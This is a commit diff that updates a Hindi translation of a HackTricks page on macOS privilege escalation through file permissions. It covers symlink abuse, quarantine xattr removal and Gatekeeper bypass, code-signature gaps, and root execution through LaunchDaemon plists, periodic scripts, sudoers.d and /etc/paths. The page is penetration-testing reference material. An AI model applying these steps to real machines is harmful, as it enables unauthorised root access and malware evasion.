mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 17:28:13 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
d888350778
commit
fed2cb0de9
2 changed files with 156 additions and 110 deletions
|
@ -4,11 +4,11 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter पर** मुझे **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपनी ट्रिक्स साझा करें।**
|
* **अपनी हैकिंग ट्रिक्स साझा करें, [**hacktricks repo**](https://github.com/carlospolop/hacktricks) और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -16,35 +16,37 @@
|
||||||
|
|
||||||
**डायरेक्टरी** में अनुमतियाँ:
|
**डायरेक्टरी** में अनुमतियाँ:
|
||||||
|
|
||||||
* **पढ़ना** - आप डायरेक्टरी प्रविष्टियों को **गणना** कर सकते हैं
|
* **read** - आप **डायरेक्टरी प्रविष्टियों** को **गिन** सकते हैं
|
||||||
* **लिखना** - आप डायरेक्टरी में **फ़ाइलें हटा सकते/लिख सकते** हैं
|
* **write** - आप **फाइलों** को **हटा/लिख** सकते हैं और **खाली फोल्डर्स** को हटा सकते हैं।
|
||||||
* **चलाना** - आप डायरेक्टरी को **त्रावर्स** करने की अनुमति है - यदि आपके पास यह अधिकार नहीं है, तो आप उसमें कोई भी फ़ाइल या उप-डायरेक्टरी तक पहुंच नहीं पा सकते हैं।
|
* लेकिन आप **गैर-खाली फोल्डर्स को हटा/संशोधित नहीं कर सकते** जब तक कि आपके पास उस पर लिखने की अनुमति न हो।
|
||||||
|
* आप **फोल्डर का नाम संशोधित नहीं कर सकते** जब तक कि आप उसके मालिक न हों।
|
||||||
|
* **execute** - आपको **डायरेक्टरी से गुजरने की अनुमति है** - अगर आपके पास यह अधिकार नहीं है, तो आप उसके अंदर की किसी भी फाइल या किसी उप-डायरेक्टरी की फाइलों तक पहुँच नहीं सकते।
|
||||||
|
|
||||||
### खतरनाक संयोजन
|
### खतरनाक संयोजन
|
||||||
|
|
||||||
**कैसे एक फ़ाइल/फ़ोल्डर को ओवरराइट करें**, लेकिन:
|
**रूट के स्वामित्व वाली फाइल/फोल्डर को कैसे ओवरराइट करें**, लेकिन:
|
||||||
|
|
||||||
* पथ में एक माता-पिता **डायरेक्टरी मालिक** उपयोगकर्ता है
|
* पथ में एक माता-पिता **डायरेक्टरी मालिक** उपयोगकर्ता है
|
||||||
* पथ में एक माता-पिता **डायरेक्टरी मालिक** उपयोगकर्ता समूह है जिसके **लिखने का अधिकार** है
|
* पथ में एक माता-पिता **डायरेक्टरी मालिक** एक **उपयोगकर्ता समूह** है जिसके पास **लिखने की पहुँच** है
|
||||||
* एक उपयोगकर्ता के **समूह** को **लिखने** की **अनुमति** है **फ़ाइल** के लिए
|
* एक उपयोगकर्ता **समूह** के पास **फाइल** पर **लिखने की पहुँच** है
|
||||||
|
|
||||||
पिछले किसी भी संयोजन के साथ, एक हमलावर्धक एक उच्चाधिकारिता अनिश्चित लिखने प्राप्त करने के लिए उम्मीदित पथ पर एक **सिम/हार्ड लिंक** डाल सकता है।
|
पिछले किसी भी संयोजन के साथ, एक हमलावर **सिम/हार्ड लिंक** को अपेक्षित पथ पर **इंजेक्ट** कर सकता है ताकि विशेषाधिकार प्राप्त मनमानी लेखन प्राप्त कर सके।
|
||||||
|
|
||||||
### फ़ोल्डर रूट R+X विशेष मामला
|
### फोल्डर रूट R+X विशेष मामला
|
||||||
|
|
||||||
यदि किसी **डायरेक्टरी** में फ़ाइलें हैं जहां **केवल रूट को R+X एक्सेस** है, तो वे **किसी और के लिए अनुपयोगी होती हैं**। इसलिए, यदि किसी विकर्षण को अनुमति देने वाली कमजोरी के कारण एक उपयोगकर्ता द्वारा पढ़ने योग्य एक फ़ाइल को इस फ़ोल्डर से एक अलग फ़ोल्डर में **ले जाने** की अनुमति होती है, तो इसका दुरुपयोग करके इन फ़ाइलों को पढ़ा जा सकता है।
|
अगर किसी **डायरेक्टरी** में फाइलें हैं जहाँ **केवल रूट के पास R+X पहुँच** है, तो वे **किसी और के लिए सुलभ नहीं हैं**। इसलिए एक भेद्यता जो **उपयोगकर्ता द्वारा पढ़ी जा सकने वाली फाइल को हिलाने की अनुमति देती है**, जिसे उस **प्रतिबंध** के कारण पढ़ा नहीं जा सकता, उस फोल्डर से **एक अलग फोल्डर में**, उन फाइलों को पढ़ने के लिए दुरुपयोग किया जा सकता है।
|
||||||
|
|
||||||
उदाहरण: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
उदाहरण: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||||
|
|
||||||
## सिम्बॉलिक लिंक / हार्ड लिंक
|
## सिम्बोलिक लिंक / हार्ड लिंक
|
||||||
|
|
||||||
यदि एक उच्चाधिकारिता प्रक्रिया एक **फ़ाइल** में डेटा लिख रही है जिसे एक **निम्नाधिकारिता उपयोगकर्ता** द्वारा **नियंत्रित** किया जा सकता है, या जिसे पहले से ही एक निम्नाधिकारिता उपयोगकर्ता द्वारा **बनाया जा सकता है**। उपयोगकर्ता बस एक सिम्बॉलिक या हार्ड लिंक के माध्यम से इसे दूसरी फ़ाइल पर **पॉइंट** कर सकता है, और उच्चाधिकारिता प्रक्रिया उस फ़ाइल पर लिखेगी।
|
अगर कोई विशेषाधिकार प्राप्त प्रक्रिया **फाइल** में डेटा लिख रही है जिसे **निम्न विशेषाधिकार वाले उपयोगकर्ता द्वारा नियंत्रित** किया जा सकता है, या जो **पहले से निम्न विशेषाधिकार वाले उपयोगकर्ता द्वारा बनाई गई** हो सकती है। उपयोगकर्ता बस उसे एक सिम्बोलिक या हार्ड लिंक के माध्यम से **दूसरी फाइल की ओर इशारा कर सकता है**, और विशेषाधिकार प्राप्त प्रक्रिया उस फाइल पर लिखेगी।
|
||||||
|
|
||||||
हमलावर्धक एक अनिश्चित लिखने का दुरुपयोग करने के लिए हमलावर्धक कौशल को कहां देखें।
|
अन्य अनुभागों में जांचें जहाँ एक हमलावर **मनमानी लेखन का दुरुपयोग करके विशेषाधिकार बढ़ा सकता है**।
|
||||||
|
|
||||||
## .fileloc
|
## .fileloc
|
||||||
|
|
||||||
**`.fileloc`** एक्सटेंशन वाली फ़ाइलें अन्य एप्लिकेशन या बाइनरी को पॉइंट कर सकती हैं, ताकि जब वे खोले जाएं, ऐप्लिकेशन/बाइनरी वही चलाया जाएगा।\
|
**`.fileloc`** एक्सटेंशन वाली फाइलें अन्य एप्लिकेशनों या बाइनरीज़ की ओर इशारा कर सकती हैं ताकि जब वे खुलें, तो एप्लिकेशन/बाइनरी वही होगी जो निष्पादित की जाएगी।\
|
||||||
उदाहरण:
|
उदाहरण:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
@ -58,21 +60,21 @@
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
## अनियमित एफडी
|
## मनमाना FD
|
||||||
|
|
||||||
यदि आप किसी **प्रक्रिया को उच्च विशेषाधिकारों के साथ एक फ़ाइल या फ़ोल्डर खोलने के लिए मजबूर कर सकते हैं**, तो आप **`crontab`** का दुरुपयोग करके `/etc/sudoers.d` में एक फ़ाइल को **`EDITOR=exploit.py`** के साथ खोल सकते हैं, इस प्रकार `exploit.py` `/etc/sudoers` के भीतर फ़ाइल को प्राप्त करेगा और इसका दुरुपयोग करेगा।
|
यदि आप किसी **प्रक्रिया को उच्च विशेषाधिकारों वाली फ़ाइल या फ़ोल्डर खोलने के लिए प्रेरित कर सकते हैं**, तो आप **`crontab`** का दुरुपयोग करके `/etc/sudoers.d` में एक फ़ाइल को **`EDITOR=exploit.py`** के साथ खोल सकते हैं, ताकि `exploit.py` को `/etc/sudoers` के अंदर फ़ाइल के लिए FD मिल जाए और इसका दुरुपयोग कर सके।
|
||||||
|
|
||||||
उदाहरण के लिए: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
उदाहरण के लिए: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||||
|
|
||||||
## क्वारंटाइन xattrs चालाकियों से बचें
|
## क्वारंटाइन xattrs चालों से बचें
|
||||||
|
|
||||||
### इसे हटाएँ
|
### इसे हटा दें
|
||||||
```bash
|
```bash
|
||||||
xattr -d com.apple.quarantine /path/to/file_or_app
|
xattr -d com.apple.quarantine /path/to/file_or_app
|
||||||
```
|
```
|
||||||
### uchg / uchange / uimmutable फ्लैग
|
### uchg / uchange / uimmutable ध्वज
|
||||||
|
|
||||||
यदि किसी फ़ाइल / फ़ोल्डर में यह अविचलनीय गुण होता है, तो उस पर xattr नहीं लगाया जा सकता है।
|
यदि किसी फ़ाइल/फ़ोल्डर में यह अचल गुण है तो उस पर xattr लगाना संभव नहीं होगा
|
||||||
```bash
|
```bash
|
||||||
echo asd > /tmp/asd
|
echo asd > /tmp/asd
|
||||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
||||||
|
@ -84,7 +86,7 @@ ls -lO /tmp/asd
|
||||||
```
|
```
|
||||||
### defvfs माउंट
|
### defvfs माउंट
|
||||||
|
|
||||||
**devfs** माउंट **xattr का समर्थन नहीं करता**, अधिक जानकारी [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) में।
|
एक **devfs** माउंट **xattr का समर्थन नहीं करता है**, अधिक जानकारी के लिए [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) देखें।
|
||||||
```bash
|
```bash
|
||||||
mkdir /tmp/mnt
|
mkdir /tmp/mnt
|
||||||
mount_devfs -o noowners none "/tmp/mnt"
|
mount_devfs -o noowners none "/tmp/mnt"
|
||||||
|
@ -93,9 +95,9 @@ mkdir /tmp/mnt/lol
|
||||||
xattr -w com.apple.quarantine "" /tmp/mnt/lol
|
xattr -w com.apple.quarantine "" /tmp/mnt/lol
|
||||||
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
||||||
```
|
```
|
||||||
### लिखेंएक्सट्रेक्ट्रेस एसीएल
|
### writeextattr ACL
|
||||||
|
|
||||||
यह एसीएल फ़ाइल में `xattrs` को जोड़ने से रोकता है।
|
यह ACL फाइल में `xattrs` जोड़ने से रोकता है
|
||||||
```bash
|
```bash
|
||||||
rm -rf /tmp/test*
|
rm -rf /tmp/test*
|
||||||
echo test >/tmp/test
|
echo test >/tmp/test
|
||||||
|
@ -118,13 +120,13 @@ ls -le /tmp/test
|
||||||
```
|
```
|
||||||
### **com.apple.acl.text xattr + AppleDouble**
|
### **com.apple.acl.text xattr + AppleDouble**
|
||||||
|
|
||||||
**AppleDouble** फ़ाइल प्रारूप एक फ़ाइल की ACEs के साथ एक फ़ाइल की प्रतिलिपि बनाता है।
|
**AppleDouble** फ़ाइल प्रारूप एक फ़ाइल की प्रतिलिपि उसके ACEs सहित बनाता है।
|
||||||
|
|
||||||
[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में देखा जा सकता है कि xattr के भीतर संग्रहित **`com.apple.acl.text`** नामक ACL पाठ प्रतिष्ठान को डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक ऐप्लिकेशन को एक zip फ़ाइल में AppleDouble फ़ाइल प्रारूप के साथ संपीड़ित किया है जिसमें एक ACL है जो अन्य xattr को इसमें लिखने से रोकता है... तो quarantine xattr को ऐप्लिकेशन में सेट नहीं किया गया था:
|
[**सोर्स कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखा जा सकता है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व **`com.apple.acl.text`** को डिकंप्रेस्ड फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक zip फ़ाइल में संपीड़ित किया है जिसमें एक ACL है जो अन्य xattrs को उस पर लिखने से रोकता है... तो एप्लिकेशन में quarantine xattr सेट नहीं किया गया था:
|
||||||
|
|
||||||
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) की जांच करें।
|
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) देखें।
|
||||||
|
|
||||||
इसे प्रतिरूपित करने के लिए, सबसे पहले हमें सही acl स्ट्रिंग प्राप्त करनी होगी:
|
इसे दोहराने के लिए हमें पहले सही acl स्ट्रिंग प्राप्त करने की आवश्यकता है:
|
||||||
```bash
|
```bash
|
||||||
# Everything will be happening here
|
# Everything will be happening here
|
||||||
mkdir /tmp/temp_xattrs
|
mkdir /tmp/temp_xattrs
|
||||||
|
@ -144,17 +146,17 @@ ls -le test
|
||||||
```
|
```
|
||||||
(Note that even if this works the sandbox write the quarantine xattr before)
|
(Note that even if this works the sandbox write the quarantine xattr before)
|
||||||
|
|
||||||
वास्तव में आवश्यक नहीं है लेकिन मैं इसे वहां छोड़ देता हूं बस इसके लिए:
|
यह वास्तव में आवश्यक नहीं है लेकिन मैं इसे यहाँ छोड़ देता हूँ, जस्ट इन केस:
|
||||||
|
|
||||||
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
||||||
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## कोड साइनेचर को छोड़ें
|
## Bypass Code Signatures
|
||||||
|
|
||||||
बंडल में फ़ाइल **`_CodeSignature/CodeResources`** होती है जिसमें बंडल में हर एक **फ़ाइल** का **हैश** होता है। ध्यान दें कि CodeResources का हैश भी **executable में समाहित** होता है, इसलिए हम उसके साथ छेड़छाड़ नहीं कर सकते।
|
Bundles में **`_CodeSignature/CodeResources`** नामक फाइल होती है जिसमें **bundle** की प्रत्येक **फाइल** का **hash** होता है। ध्यान दें कि CodeResources का hash भी **executable** में **embedded** होता है, इसलिए हम उसके साथ भी छेड़छाड़ नहीं कर सकते।
|
||||||
|
|
||||||
हालांकि, कुछ ऐसी फ़ाइलें हैं जिनके साइनेचर की जांच नहीं की जाएगी, इनमें plist में तथा जैसे:
|
हालांकि, कुछ फाइलें होती हैं जिनके सिग्नेचर की जांच नहीं की जाती, इनमें plist में omit कीवर्ड होता है, जैसे:
|
||||||
```xml
|
```xml
|
||||||
<dict>
|
<dict>
|
||||||
...
|
...
|
||||||
|
@ -198,7 +200,7 @@ ls -le test
|
||||||
...
|
...
|
||||||
</dict>
|
</dict>
|
||||||
```
|
```
|
||||||
यह संभव है कि आप CLI से संसाधन के हस्ताक्षर की गणना कर सकते हैं:
|
संसाधन के हस्ताक्षर की गणना cli के साथ की जा सकती है:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -206,9 +208,9 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
## डीएमजी माउंट करें
|
## माउंट dmgs
|
||||||
|
|
||||||
एक उपयोगकर्ता एक कस्टम डीएमजी बना सकता है जो कि कुछ मौजूदा फ़ोल्डर्स के ऊपर बनाया जा सकता है। यहां आप कस्टम सामग्री के साथ एक कस्टम डीएमजी पैकेज कैसे बना सकते हैं:
|
एक उपयोगकर्ता कुछ मौजूदा फोल्डर्स के ऊपर भी एक कस्टम dmg बना सकता है। यह आप कैसे एक कस्टम dmg पैकेज कस्टम सामग्री के साथ बना सकते हैं:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -233,17 +235,17 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
## अनियमित लेखन
|
## मनमाने लेखन
|
||||||
|
|
||||||
### नियमित एसएच स्क्रिप्ट
|
### आवधिक sh स्क्रिप्ट्स
|
||||||
|
|
||||||
यदि आपका स्क्रिप्ट एक **शेल स्क्रिप्ट** के रूप में व्याख्या किया जा सकता है, तो आप **`/etc/periodic/daily/999.local`** शेल स्क्रिप्ट को अधिलेखित कर सकते हैं जो प्रतिदिन ट्रिगर होगा।
|
यदि आपकी स्क्रिप्ट को **शेल स्क्रिप्ट** के रूप में व्याख्या किया जा सकता है, तो आप **`/etc/periodic/daily/999.local`** शेल स्क्रिप्ट को ओवरराइट कर सकते हैं जो हर दिन ट्रिगर की जाएगी।
|
||||||
|
|
||||||
आप इस स्क्रिप्ट की नकल बना सकते हैं: **`sudo periodic daily`**
|
आप इस स्क्रिप्ट का **नकली** निष्पादन इसके साथ कर सकते हैं: **`sudo periodic daily`**
|
||||||
|
|
||||||
### डेमन
|
### डेमन्स
|
||||||
|
|
||||||
एक अनियमित **लॉन्चडेमन** जैसे **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** को लिखें, जिसमें एक प्लिस्ट एक अनियमित स्क्रिप्ट को निष्पादित करता है, जैसे:
|
मनमाने **LaunchDaemon** जैसे **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** को लिखें जिसमें एक plist एक मनमाने स्क्रिप्ट को निष्पादित करता है जैसे:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -260,17 +262,18 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
आपको रूट के रूप में चलाने के लिए चाहिए वही **कमांड** जो आप चाहें तो `/Applications/Scripts/privesc.sh` स्क्रिप्ट उत्पन्न करें।
|
```markdown
|
||||||
|
स्क्रिप्ट `/Applications/Scripts/privesc.sh` बनाएं जिसमें आप जो **कमांड्स** रूट के रूप में चलाना चाहते हैं, वो शामिल हों।
|
||||||
|
|
||||||
### Sudoers फ़ाइल
|
### Sudoers फ़ाइल
|
||||||
|
|
||||||
यदि आपके पास **अनियमित लेखन** है, तो आप `/etc/sudoers.d/` फ़ोल्डर के अंदर एक फ़ाइल बना सकते हैं जिससे आपको **sudo** अधिकार मिलें।
|
यदि आपके पास **मनमानी लिखने की क्षमता** है, तो आप **`/etc/sudoers.d/`** फोल्डर के अंदर एक फ़ाइल बना सकते हैं जो आपको **sudo** विशेषाधिकार प्रदान करती है।
|
||||||
|
|
||||||
### PATH फ़ाइलें
|
### PATH फ़ाइलें
|
||||||
|
|
||||||
फ़ाइल **`/etc/paths`** PATH env चर को भरने वाली मुख्य जगहों में से एक है। इसे ओवरराइट करने के लिए आपको रूट होना चाहिए, लेकिन यदि कोई **विशेषाधिकारी प्रक्रिया** से कोई **पूरा पथ नहीं होने वाली कमांड** चला रही है, तो आप इस फ़ाइल को संशोधित करके इसे **हाइजैक** कर सकते हैं।
|
**`/etc/paths`** फ़ाइल PATH env वेरिएबल को पॉपुलेट करने वाले मुख्य स्थानों में से एक है। इसे ओवरराइट करने के लिए आपको रूट होना चाहिए, लेकिन यदि कोई **विशेषाधिकार प्राप्त प्रक्रिया** से स्क्रिप्ट किसी **कमांड को पूर्ण पथ के बिना** निष्पादित कर रही है, तो आप इस फ़ाइल को संशोधित करके उसे **हाइजैक** कर सकते हैं।
|
||||||
|
|
||||||
आप नए फ़ोल्डर को `PATH` env चर में लोड करने के लिए **`/etc/paths.d`** में भी फ़ाइलें लिख सकते हैं।
|
 आप **`/etc/paths.d`** में भी फ़ाइलें लिख सकते हैं ताकि `PATH` env वेरिएबल में नए फोल्डर्स लोड किए जा सकें।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
|
|
||||||
|
@ -280,10 +283,11 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* क्या आप **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) का पता लगाएं
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह।
|
||||||
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
||||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में या **Twitter** पर मुझे **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
|
* अपनी हैकिंग ट्रिक्स साझा करें, [**hacktricks repo**](https://github.com/carlospolop/hacktricks) और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके।
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
```
|
||||||
|
|
|
@ -5,27 +5,27 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* क्या आप **cybersecurity company** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
